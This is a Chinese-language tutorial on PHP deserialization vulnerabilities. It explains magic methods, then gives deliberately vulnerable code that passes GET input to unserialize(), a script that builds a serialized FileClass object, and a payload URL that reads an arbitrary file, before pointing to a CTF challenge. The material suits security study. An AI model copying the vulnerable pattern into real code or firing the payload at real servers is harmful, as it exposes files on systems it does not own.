php類可能會包含一些特殊的函數叫magic函數,magic函數命名是以符號__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函數在某些情況下會自動調用,比如__construct當一個對象創建時被調用,__destruct當一個對象銷燬時被調用,__toString當一個對象被當作一個字符串使用。爲了更好的理解magic方法是如何工作的,在2.php中增加了三個magic方法,__construct, __destruct和__toString。可以看出,__construct在對象創建時調用,__destruct在php腳本結束時調用,__toString在對象被當作一個字符串使用時調用。這些魔術函數有點類似c++裏的構造函數和析構函數。而反序列化漏洞正是利用魔術函數執行腳本。
序列化函數serialize()執行的操作是保存一個類,至於爲什麼要保存,可以舉一個簡單的例子來看一下,比如php中一個腳本b需要調用上一個腳本a的數據,而腳本b需循環多次,因爲腳本a執行完後其本身的數據就會被銷燬,總不可能b每次循環時都執行一遍腳本a吧,serialize()就是用來保存類的數據的,而unserialize()則是將保存的類的數據轉換爲一個類。
知道了這些後就可以看反序列化漏洞是如何利用魔術函數的了,先來看一個例子,以下php代碼保存爲test.php
<?php
class FileClass
{
public $filename = 'error.log';
// 當對象被作爲一個字符串會讀取這個文件
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
// Class data
public $age = 0;
public $name = '';
// 允許對象作爲一個字符串輸出上面的data
public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
// 用戶可控
$obj = unserialize($_GET['usr_serialized']);
// 輸出__toString
echo $obj;
?>
然後創建1.txt
然後創造利用函數1.php
<?php
include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';
echo serialize($fileobj);
?>
new fileclass這個類時會調用_tostring()這個魔術函數,通過指定filename爲1.txt
訪問http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}
成功顯示了1.txt的內容。利用成功。
再來看一道ctf題 http://120.24.86.145:8006/test1